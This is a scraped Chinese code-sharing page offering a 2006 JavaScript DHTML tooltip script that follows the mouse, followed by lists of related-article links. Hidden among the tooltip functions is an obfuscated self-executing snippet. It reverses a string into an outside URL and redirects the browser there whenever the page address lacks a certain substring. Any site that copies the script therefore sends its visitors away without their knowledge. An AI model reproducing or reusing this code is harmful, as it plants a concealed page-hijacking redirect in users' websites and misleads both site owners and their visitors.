popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
JSONP 跨域访问代理API-yahooapis实现代码
Dec 02 Javascript
jquery等宽输出文字插件使用介绍
Sep 18 Javascript
JS JSON对象转为字符串的简单实现方法
Nov 18 Javascript
Jquery 过滤器(first,last,not,even,odd)的使用
Jan 22 Javascript
jquery加载图片时以淡入方式显示的方法
Jan 14 Javascript
jQuery中wrapAll()方法用法实例
Jan 16 Javascript
JavaScript 七大技巧(一)
Dec 13 Javascript
JS实现的自动打字效果示例
Mar 10 Javascript
vue中mint-ui环境搭建详细介绍
Apr 06 Javascript
基于vue-element组件实现音乐播放器功能
May 06 Javascript
解决Vue-cli npm run build生产环境打包,本地不能打开的问题
Sep 20 Javascript
vue proxy 的优势与使用场景实现
Jun 15 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
PHP错误处理函数
2016/04/03 PHP
HTML 自动伸缩的表格Table js实现
2009/04/01 Javascript
jQuery Validation插件remote验证方式的Bug解决
2010/07/01 Javascript
jquery 学习之二 属性相关
2010/11/23 Javascript
在IE 浏览器中使用 jquery的fadeIn() 效果 英文字符字体加粗
2011/06/02 Javascript
JS完整获取IE浏览器信息包括类型、版本、语言等等
2014/05/22 Javascript
jQuery层动画定位滑动效果的方法
2015/04/30 Javascript
浅谈JavaScript字符串与数组
2015/06/03 Javascript
JavaScript的jQuery库中ready方法的学习教程
2015/08/14 Javascript
第一次接触神奇的Bootstrap导航条
2016/08/09 Javascript
JS仿hao123导航页面图片轮播效果
2016/09/01 Javascript
javascript宿主对象之window.navigator详解
2016/09/07 Javascript
深入理解Angular4中的依赖注入
2017/06/07 Javascript
react-native使用react-navigation进行页面跳转导航的示例
2017/09/07 Javascript
原生JS实现循环Nodelist Dom列表的4种方式示例
2018/02/11 Javascript
vue component 中引入less文件报错 Module build failed
2019/04/17 Javascript
Vue.extend实现挂载到实例上的方法
2019/05/01 Javascript
node Buffer缓存区常见操作示例
2019/05/04 Javascript
详解ES6中class的实现原理
2020/10/03 Javascript
vue缓存之keep-alive的理解和应用详解
2020/11/02 Javascript
python实现栅栏加解密 支持密钥加密
2019/03/20 Python
浅谈Python 敏感词过滤的实现
2019/08/15 Python
python中利用matplotlib读取灰度图的例子
2019/12/07 Python
利用PyCharm操作Github(仓库新建、更新,代码回滚)
2019/12/18 Python
Python综合应用名片管理系统案例详解
2020/01/03 Python
python GUI库图形界面开发之PyQt5选项卡控件QTabWidget详细使用方法与实例
2020/03/01 Python
python实现拼接图片
2020/03/23 Python
在python中使用nohup命令说明
2020/04/16 Python
python pillow库的基础使用教程
2021/01/13 Python
大学生毕业自我评价范文分享
2013/11/11 职场文书
对公司合理化的建议书
2014/03/12 职场文书
学雷锋活动总结范文
2014/04/25 职场文书
美容院合作经营协议书
2014/10/10 职场文书
2015年安全生产工作总结范文
2015/04/02 职场文书
大学生,三分钟即兴演讲稿
2019/07/22 职场文书
如何用python识别滑块验证码中的缺口
2021/04/01 Python